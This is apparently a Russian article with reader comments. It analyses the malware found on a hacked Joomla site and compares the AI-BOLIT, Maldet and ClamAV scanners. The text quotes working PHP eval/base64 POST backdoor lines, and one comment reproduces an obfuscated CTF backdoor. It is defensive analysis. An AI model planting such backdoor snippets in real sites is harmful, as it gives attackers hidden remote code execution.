Времена, когда сайты взламывались ради забавы почти прошли. В современных реалиях сайты атакуют для извлечения прибыли. Атаковать могут абсолютно любой сайт, даже с минимальными показателями и трафиком.

Атаки на сайты могут быть как направленными, когда атакуемый сайт по определенным причинам интересен злоумышленнику, так и массовыми, когда злоумышленник пытается проэксплуатировать какую-то уязвимость, ставшую ему известной в определенной CMS.

Взлом


Вариантов взлома сайтов достаточно много. Начиная от эксплуатации уязвимостей CMS системы и сервера, до подбора паролей или рассылки троянских программ для получения сохраненных паролей от FTP и админ-панелей. Даже если ваш сайт надежно защищен — вас могут сломать через уязвимых соседей на shared-хостинге при неверно выставленных правах. Злоумышленники могут мониторить bugtraq-рассылки на появление разного рода уязвимостей т.н. нулевого дня, собирать с помощью поисковых систем и сервисов уязвимые сайты и пытаться массово атаковать.

Последствия


Обычно злоумышленники, исходя из своих целей и квалификации стараются закрепиться на взломанном ресурсе и замаскировать свое присутствие. Взлом сайта не всегда можно распознать по внешним признакам (мобильный редирект, спам-ссылки на страницах, чужие баннеры, дефейс и пр). При компрометации сайта этих внешних признаков может и не быть. Ресурс может работать в штатном режиме, без перебоев, ошибок и попадания в “черные” списки антивирусов. Но это отнюдь не означает, что сайт в безопасности. Проблема в том, что заметить факт взлома и загрузки хакерских скриптов без проведения аудита безопасности – сложно, а сами веб-шеллы, бэкдоры и другие инструменты хакера могут достаточно долго находиться на хостинге и не использоваться по назначению. Но однажды наступает момент, и они начинают сурово эксплуатироваться злоумышленником, в результате чего у владельца сайта возникают проблемы. За спам, размещение фишинговых страниц сайт блокируют на хостинге (или отключают часть функционала), а появление редиректов или вирусов на страницах чревато баном со стороны антивирусов и санкциями со стороны поисковых систем. В подобном случае необходимо в срочном порядке “лечить” сайт, а затем ставить защиту от взлома, чтобы сюжет не повторялся.

Монетизация


Что же может получить злоумышленник со взломанного сайта? В первую очередь информацию. На сайте может быть закрытый раздел, интернет-магазин может содержать базу пользователей, на сайте могут быть интегрированы сервисы с захардкожденными учетными данными сторонних систем (например смс-шлюзов с хорошим балансом) и прочее, что можно продать.

Сайт можно использовать для добычи и продажи трафика — от установки seo-ссылок, до внедрения iframe кода, ведущего на т.н. связки эксплоитов — автоматизированные системы эксплуатации уязвимостей браузеров, флеш-плеера и т.д.



В последнее время все чаще можно услышать о так называемых целенаправленных атаках (advanced persistent threat, APT) при которых взлому сайтов уделяется не последнее место. Взлом веба зачастую является т.н. точкой входа в корпоративную сеть, с веб сайта получают всю возможную информацию для проведения эффективной фишинг-компании — анализируются пользователи, мета-теги и служебная информация всех возможных документов, содержащихся на сайте. Также, сайты могут взламываться в ходе watering-hole атак. Злоумышленник атакует не основной сайт компании (который может быть отлично защищен), а смежные ресурсы — сайт партнера, биржу труда и прочие системы, которые посещают сотрудники компании. Из этих сайтов могуть быть извлечены регистрационные данные сотрудников интересующей компании, а также устанавлено вредоносное программное обеспечение для атак вида drive by download. Такого рода атаки могут заказывать недобросовестные конкуренты, правительственные организации. Также, на взломанных сайтах можно установить программное обеспечение для рассылки спама и другие программы из арсенала злоумышленников.

Зачастую, владельцы не догадываются о взломе


К сожалению, хакерские скрипты по внешним признакам или внешними сканерами не обнаруживаются. Поэтому ни антивирусы поисковых систем, ни антивирусное ПО, установленное у веб-мастера на компьютере, не сообщит о проблемах безопасности сайта. Если скрипты размещены где-нибудь в системных каталогах сайта (не в корневом и не в images) или инжектированы в существующие скрипты, случайно заметить их также не удастся.

Наши коллеги из компании Ревизиум, специализирующейся на лечении и защите сайтов от вирусов предоставили интересный кейс из своей практики.

Как гласит античная мудрость: “предупрежден значит вооружен“. Для того чтобы представлять себе “масштаб бедствия” при взломе, предлагаем познакомиться со среднестатистическим сайтом на Joomla, который был взломан в результате проведения нецелевой атаки, посмотреть, что именно хакеры загрузили на сайт и какую угрозу загруженные скрипты несут сайту, его владельцу и хостингу. Инцидент произошел в июле 2015 года.

Как это бывает в жизни


Сайт работает на Joomla версии 2.5.28. Причина обращения – блокировка сайта со стороны хостинга за спам-рассылку. Кроме анализа логов почтового и веб-сервера, сайт был просканирован тремя популярными решениями для обнаружения вредоносного кода на хостинге: AI-BOLIT, Maldet и ClamAv.

Результат AI-BOLIT’а: 206 вредоносных скриптов:



Результат Maldet: 84 вредоносных файла:



Результат ClamAv: 67 вредоносных файлов:



Мы также запросили исходный вариант сайта у разработчиков и сравнили файлы с помощью системы контроля версий git. По результатам сравнения и проверки обнаруженных файлов выяснилось, что AI-BOLIT немного перестарался, то есть обнаружил все вредоносы + около 15% было “false positive” (ложных срабатываний). Clamav и Maldet обнаружили только половину всех вредоносов, поэтому можно сделать вывод, что данные антивирусы подходят для экспресс-проверки на заражение, но не подходят для “лечения” сайта. При “лечении” должны быть обнаружены и удалены все вредоносные и хакерские скрипты. Если останется хотя бы один бэкдор или веб-шелл, сайт взломают повторно.

После проведенного анализа мы разобрали функционал обнаруженных “вредоносов” и классифицировали их. Результат в таблице:



При нецелевом взломе хорошо прослеживаются паттерны заражения, то есть наличие однотипных вредоносных и хакерских скриптов, случайно разбросанных по каталогам сайта или внедренных в файлы .php. Число скриптов каждого вида, их код могут немного отличаться при каждом заражении сайта вирусами за счет обфускации и шифрования, но функционал каждого вида сохраняется. Кстати, время от времени в паттерн добавляется новый вид бэкдоров. Еще год назад не было №2 и №5.

Данный паттерн заражения характерен для CMS Joomla, Wordpress, и некоторых коммерческих CMS.

Рассмотрим каждый скрипт из данного набора


Номер 1 – бэкдор, который инжектируется (внедряется) в начало случайного файла .php. Код при просмотре не сразу можно заметить, так как он намеренно “отбит” пробельными символами вправо за пределы видимой части экрана (поэтому у нас всегда включен режим “переноса строк” в редакторе).



Данная незамысловатая запись представляет собой вызов:

if (isset($_POST[' n746521'])) {eval(base64_decode($_POST['n746521']));}

То есть будет выполнен произвольный PHP код, который закодирован в base64 и передан в переменную n746521 методом POST. Насколько опасно для сайта, если данный фрагмент останется в файле? Очень опасно, так как по сути он предоставляет злоумышленнику полный контроль над аккаунтом хостинга: через него можно выполнить любой разрешенный код PHP, создать или загрузить файлы на хостинг, разослать спам, выполнить запросы к базе данных, и многое другое. А еще данный инжект удобен для хакера тем, что не является отдельным скриптом, который можно обнаружить по логам. Запросы с вредоносной нагрузкой могут отсылаться на index.php или любой URL сайта. Поэтому данный фрагмент нужно вычистить из всех .php файлов (зараженных файлов будет от 5 до 20). У фрагмента меняется имя переменной в апострофах, остальные фрагменты — фиксированы.

Номер 2 – бэкдор-загрузчик.



Выполняет аутентификацию по передаваемому параметру, далее делает одно из двух:
  1. исполняет код, переданный в параметре через
    @eval(base64_decode($_POST[“FFSW3525KKSfj”]))
    
  2. создает файл с именем Ffhwu22313_fff555ffsd.php, сохраняет содержимое в файл и подключает его в бэкдор через @include_once, после чего удаляет. Таким образом обходит ограничение вызова eval, если он, например, заблокирован на хостинге.

Если скрипт просто открыть в браузере, то отдается статус 404 Страница не найдена. Таким образом бэкдор практически невозможно обнаружить снаружи.

Также как и №1, бэкдор позволяет получить полный контроль над аккаунтом хостинга, а в последствии, возможно, и всем сервером. Но №2 более функционален за счет обхода eval.

Хорошая новость для владельцев сайта в том, что бэкдор размещается в отдельном php скрипте, то есть его можно заметить невооруженным глазом, а также можно найти, используя find … –mtime … и find … -ctime …. Имена файлов – случайные последовательности, которые не встречаются в оригинальной версии CMS, так что при просмотре каталогов пропустить файлы будет сложно.



Номер 3 – это бэкдор-“младший брат” вредоноса №2.



Делает то же самое, но не умеет обходить запрещенный eval, то есть выполняет переданный код только через
@eval(base64_decode($_POST[‘FFSW3525KKSfj’])

Номер 4 – классический WSO веб-шелл.



Веб-шелл – это “кухонный комбайн”, который делает работу хакера удобной на хостинге. С помощью WSO шелла можно:
  1. смотреть конфигурацию хостинга;
  2. работать с файлами через удобный файловый менеджер (создавать, удалять, редактировать, скачивать и т.п.);
  3. работать с базой данных (изменять, удалять данные в таблицах и отправлять любые SQL запросы);
  4. выполнять различные строковые преобразования (кодировать, декодировать строковые значения);
  5. подбирать пароли (брутфорс);
  6. выполнять команды в режиме командной строки;
  7. выполнять произвольный код PHP;
  8. управлять сайтом (например, вставлять вирусный код в базу или файлы javascript) удаленно и автоматизированно.



Если убрать деструктивный функционал, то данным инструментом могли бы пользоваться и рядовые веб-мастера. Иногда нам кажется, что функционал панелей управления некоторых хостингов заметно уступают возможностям веб-шеллов.

Номер 5 – дорвей, загружающий контент с удаленного сервера:



Если его немного расшифровать, можно увидеть, с какого IP грузится контент и каким User Agent он “прикидывается”:



Дорвей генерирует тысячи страницы из разряда “черного SEO”. Страницы попадают в поисковый индекс и пагубно влияют на поисковую выдачу сайта, оригинальные страницы которого пессимизируются. Сайт может попасть под фильтр или полностью вылететь из поисковой выдачи.

Номер 6 – бэкдор, который принимает команды в виде зашифрованного серилизованного массива PHP:



Управляющие команды могут передаваться через POST переменные или COOKIE. Бэкдор поддерживает команды:
  1. “i” – выдать версию PHP и версию бэкдора;
  2. “e” – выполнить eval($data[“d”]) для кода, который передан в запросе.

Фрагмент расшифрованного варианта данного бэкдора:



Номер 7 – еще один бэкдор, который может размещаться как в отдельном файле размером до 400 байтов, так и инжектироваться в скрипты php. Является упрощенным вариантом №1 с теми же пагубными последствиями.



Номер 8 – дроппер руткита Mayhem. Это, пожалуй, самая опасная “нагрузка” в данном заражении.



Руткит Mayhem — серьезный вредонос для веб-серверов на ОС *nix, который превращает сервер в боевую единицу ботнета, но может работать в условиях ограниченных привилегий. Задача данного файла сгенерировать руткит и загрузить его через LD_PRELOAD. Подробный разбор дроппера можно посмотреть по ссылке и в отчете Яндекса.

Номер 9 – мощный спам-рассыльщик.



Богатый функционал позволяет рассылать спам как через стандартную функцию mail(), так и с помощью SMTP протокола через сокеты. Поддерживаются различные шаблоны писем, рассылка по списку и пр. Исходный код хорошенько обфусцирован. Фрагмент третьего шага деобфускации выглядит так:



Номер 10 – дроппер, задача которого загрузить с удаленного сервера исполняемый шелл-файл, запустить его и по завершении удалить. С этого скрипта обычно начинается взлом сайта.



Сайт, с которого дроппер загружает шелл, также взломанный. В данном случае он используется в качестве хостинга вредоносного кода. Спустя несколько часов шелл-файл по данному адресу перестает быть доступен, поэтому определить, какой именно код выполнялся при загрузке не представляется возможным.

Как можно заметить, здесь нет ни одного вируса или редиректа, то есть сайт после взлома не начал распространять вредоносный код, перенаправлять посетителей, показывать баннеры, не появилось фишиновых страниц и т.п. и «снаружи» заметить взлом можно было только спустя пару месяцев, когда в поисковый индекс попадут дорвей-страницы.

Хотелось бы отметить, что разобранный в статье пример не является каким-то особо сложным и коварным следствием взлома сайта. На большинстве сайтов, взломанных в результате нецелевой атаки, наблюдается примерно то же самое. Хорошая новость в том, что теперь вы знаете, с чем придется иметь дело. Как гласит мудрость — “предупрежден значит вооружен“.

Комментарии (28)


  1. nckma
    14.07.2015 16:24

    Вы пишите: "Мы также запросили исходный вариант сайта у разработчиков и сравнили файлы с помощью системы контроля версий git."
    Все это правильно, но вот что делать если сайт самостоятельно разрастается?
    Ну то есть:
    1) пользователи загружают свои аватарки и картинки, иногда другие файлы, архивы на форуме,
    2) выписанные счета интернет магазина появляются в виде pdf файлов
    3) обновляются и изменяются всякие файлы кеширования и прочие, вроде jooml-овских t3-assets/data.php

    То, что файлы на хостинге появляются и меняются не является признаком заражения. Но да, при заражении некоторые файлы появились или изменены.
    Как мне отслеживать изменения на сайте, если довольно трудно отличить полезное от вредного?

    Я как не профессиональный владелец сайта сделал себе скрипт, который каждую ночь качает сайт на домашнюю машину и сравнивает со вчерашней версией каждый файл индивидуально…

    Довольно коряво получилось, но как-то работает. Ежедневно получаю от скрипта e-mail со списком измененных файлов, если такие были. Потом приходится глазами отсматривать какие конкретно файлы изменились, но ведь могу и пропустить по невнимательности…

    В общем реальная проблема описана в Вашей статье…


    1. HexArt
      14.07.2015 16:29
      +1

      Может я чего-то не понимаю, но для чего нужен скрипт, если можно получать список измененных файлов через систему контроля версий?


      1. MaximChistov
        14.07.2015 16:38
        +5

        однажды nckma познает всю мощь .gitignore :)


        1. nckma
          14.07.2015 16:49
          -2

          Знаю, это не приветствуется среди «профессионалов», но не люблю git.
          Моя любимая статья про GIT: stevebennett.me/2012/02/24/10-things-i-hate-about-git


          1. HexArt
            14.07.2015 17:27
            +8

            Странная статья. Приводить пример небезопасности гит из-за возможности сделать force push, действительно странно. Очень многое притянуто за уши и выглядит как детская обида на git.


        1. AotD
          14.07.2015 16:52
          -1

          С .gitignore есть проблема.
          Либо мы включаем в него папки `public/assets`, `uploads`, видим красивый git status и теряем возможность отследить зловред на бою в папке с нагенеренными файлами.
          Либо не включаем и лицезреем портянки ненужных файлов при разработке.


          1. MaximChistov
            14.07.2015 17:07
            +9

            ну если вы не в состоянии запретить выполнение скриптов из `public/assets`, `uploads`, то тут гит не поможет, да :)


            1. nckma
              14.07.2015 17:33
              -2

              Ну, например, моя проблема, как непрофессионала в сайтостроительстве — я не знаю наверняка должны ли исполняться скрипты из папки public/assets или не должны. Я вижу там php файлы, думаю, что они, наверное, исполняются (ну раз они имеют расширение php). А может они и не исполняются. Как мне узнать?
              Должен ли я как enduser досконально изучить код joomla и ее компонентов перед использованием?


              1. kahi4
                14.07.2015 17:49
                +4

                Да. Не сколько код, сколько документацию. Покуда если вы не умеете пользоваться инструментом и не наняли для этого специально самообученного человека, то и за проблемы с взломами только на ваших плечах. Это как купить бензопилу, порезаться ей, а потом говорить «неужели я должен изучать то, как ей пользоваться, ведь мне в конечном счете нужны дрова, а я знаю, что их получают в том числе бензопилой».


                1. nckma
                  14.07.2015 18:29
                  +5

                  Тут есть такой момент, некоторые называют его «технологическая сингулярность» — это когда новые технологии появляются быстрее, чем осваиваются старые.

                  В результате люди используют или вынуждены использовать технологии, которые не вполне понимают. Например, у меня была ваз 2110 и я даже мог ее сам чинить! Сейчас у меня другой автомобиль и все, что я могу сделать сам — это померить уровень масла. И так во всем.

                  Я пока с joomla 1.5 на 2.5 перешел и перетянул сайт (очень болезненный был процесс) уже и joomla 3 появилась.

                  Поскольку вынужден за год изучать или знакомиться с 3-4-мя принципиально разными технологиями, то естественно глубоких знаний достичь не удается. Увы…


                  1. kahi4
                    14.07.2015 18:48
                    +1

                    Offtop: кто-то еще серьезно использует joomla? Ну да ладно

                    То, что вы, как конечный пользователь, не успеваете за технологиями, не означает, что нет людей, которые способны настроить все как нужно. Тем более, для таких популярных CMS, как joomla — сотни, а то и тысячи статей как организовать безопасность, причем все примерно об одном и том же.

                    Запретить выполнение файлов из директорий asserts и public — почти наверное есть даже в официальной документации. Использовать продукт на боевой системе, плохо им владея и не привлекая дополнительных сил — что ж, пинайте на себя.

                    Тут спор распадается на два пути:
                    первый — по теме. Т.е. можно ли просто git-ом или подобным инструментом отслеживать появление новых файлов? Не буду говорить точно, но вроде как есть обилие инструментов, которые будут следить, чтобы исполняемый файл нигде, где не стоит, не просочился, не изменился, в общем — закрывать от такого. А если библиотека сама настаивает на исполнении кода в папке public — это уже её проблемы и от нее стоит отказаться. Тут никаких сложностей нет, если делать все по-уму. Хотя сложности есть, но это 0-day уязвимости, либо старые, спящие бэкдоры.

                    Второй — что делать, если не успеваете изучать технологии? Да ничего. Если ваш продукт — это не написание сайта, а то, что вы с него продаете, то верный шаг — нанять человека, который будет следить за этим. Если же ваш (непосредственно ваш) продукт — написание или поддержка сайта — тут уж извольте, вам придется гнаться за технологиями.


                    1. nckma
                      14.07.2015 18:55
                      +3

                      К сожалению, у меня было целых 2 печальных опыта, когда нанятые «специалисты» за деньги делали явно неправильные вещи.
                      Они то думают, что заказчик (то есть я) совсем ничего не понимает и проверить работу никак не может. И говорят они умные слова и уверенные в себе. И вроде бы надеешься, и вроде бы сделали и даже как-то работает, но внутрь лучше не смотреть, а то расстроишься.
                      А если уж посмотрел на досуге, то понимаешь, что придется многое переделывать после «специалистов»…
                      Может мне не повезло.


    1. yjurfdw
      14.07.2015 16:45
      +1

      1) пользователи загружают свои аватарки и картинки, иногда другие файлы, архивы на форуме,
      2) выписанные счета интернет магазина появляются в виде pdf файлов
      3) обновляются и изменяются всякие файлы кеширования и прочие, вроде jooml-овских t3-assets/data.php

      для всего этого Вам поможет .gitignore


      1. nckma
        14.07.2015 16:53
        -3

        И однажды .gitignore скроет от меня внедренную уязвимость…
        Например, злоумышленник, хранит свои скрипты в файле с расширением jpg. На время эксплуатации зловреда переименовывает в php, потом назад в jpg.
        Возможно это и бред, но так, пофантазировать…


        1. TheRaven
          14.07.2015 17:03
          +5

          Для этого веб-сервер нужно настроить так чтобы он не исполнял скрипты из папок загрузки контента.


    1. saboteur_kiev
      14.07.2015 18:21
      +1

      > Все это правильно, но вот что делать если сайт самостоятельно разрастается?
      >Ну то есть:
      >1) пользователи загружают свои аватарки и картинки, иногда другие файлы, архивы на форуме,
      >2) выписанные счета интернет магазина появляются в виде pdf файлов
      >3) обновляются и изменяются всякие файлы кеширования и прочие, вроде jooml-овских t3-assets/data.php

      Сайты на движке какой-нить CMS не меняют своих исходных кодов.
      Аватарки, картинки, архивы на форуме, сообщения — хранятся отдельно от .php файлов, составляющих ядро CMS, и обычно эти .php файлы меняются только в двух случаях:
      1. Админ сайта обновляет версию CMS
      2. Админ сайта добавляет/меняет функционал (плагины или сам код правит).
      Оба вышеуказанных случая делаются обычно вручную, а не по расписанию, поэтому простенький сканер, который будет отслеживать изменились ли основные .php файлы — вполне нормально для любого сайта.

      Мне сложно представить сайт, даже простой интернет-магазин, в котором основные скрипты сайта меняются ежедневно. Обычно они годами не меняются.


      1. foxmuldercp
        15.07.2015 09:30

        WordPress научился обновляться сам. единственный вариант менять на ro + chattr +I права чтобы ничего не писалось, но тогда всякие картинки не загрузить нормально


  1. ANTPro
    14.07.2015 17:37
    -5

    Почему в статье примеры сайтов, написанных только на php? Только из-за популярности, как с вирусами для windows?


    1. Isis
      14.07.2015 18:43
      +2

      Статья о взломе сайтов же, а не о вирусах.


      1. ANTPro
        14.07.2015 19:05

        Вопрос не о вирусах, а о сайтах.


  1. hellman
    14.07.2015 18:11
    +3

    На одном из CTFов был забавный бэкдор:

    <?php @$GLOBALS=$GLOBALS{next}=next($GLOBALS{'GLOBALS'})[$GLOBALS['next']['next']=next($GLOBALS)['GLOBALS']][$next['GLOBALS']=next($GLOBALS[GLOBALS]['GLOBALS'])[$next['next']]][$next['GLOBALS']=next($next['GLOBALS'])][$GLOBALS[next]['next']($GLOBALS['next']{'GLOBALS'})]=next(neXt(${'next'}['next'])); ?>
    


  1. ivizil
    14.07.2015 19:20
    +1

    У меня подломали хостинг с 7 сайтами пару недель назад и рассылали спам. Это был кошмар — были заражены все сайты. Часть пришлось перенести на другой хостинг. Очень помог Айболит — выкачивал все сайты и проверял на компьютере. Всё хорошо вот только один сайт с 13 000 файлами он проверяет около 8-9 часов. Зато вроде бы нашел все проблемные файлы. Из-за большого количества сайтов трудно понять откуда произошел взлом. Айболит указал на уязвимость с файлами thumbnail.php грешу на него…
    Вот так вот. Не пренебрегайте элементарными правилами безопасности… Это сохранит вам много времени и нервов.


  1. Dywar
    14.07.2015 19:55
    +2

    Айболит уже на слуху, хорошая штуковина однако.


  1. zikkuratvk
    14.07.2015 20:49

    Лучше напишите статью, о том, что ставить варезные расширения это прямой путь к доктору, я вообще удивляюсь людям, которые думают, что люди раздают платные расширения из альтруизма. По опыту могу сказать, что 95% взломов в Joomla — это установка вареза, либо не обновление саймо систем, либо сторонних расширений (кстати часто тоже варезных). Остальные 5% приходятся на не правильные настройки хостинга и действия пользователей по настройке системы.
    Самое забавное, что платить за расширения/шаблоны люди не готовы, но при этом готовы платить за лечение сайта, парадокс.


  1. Londoner
    15.07.2015 00:41

    А бывают онлайн сервисы, проверяющие сайты на уязвимости по URL, для домохозяек?


    1. Bibainet
      15.07.2015 01:05
      -2

      У яндекса и гугла есть для этого свои средства, но они не дают информации о том что и чем заражено. Есть сервис sucuri.net. Он выдает ссылки на зараженные страницы и куски найденого кода. Сервис virusdie.ru может не только найти заражения но и вылечить большинство из них, нужно только поместить один файл на сайт. Вообще, сервисов поверхностной проверки много, достаточно воспользоваться поиском.


    1. BeLove
      15.07.2015 16:39
      +2

      Очень поверхностно, название говорит само за себя — one button scan


  1. Chikey
    15.07.2015 20:51

    Единственное лечение все снести и поставить с нуля, всякие «сканы» и удаления бесполезны, я прав?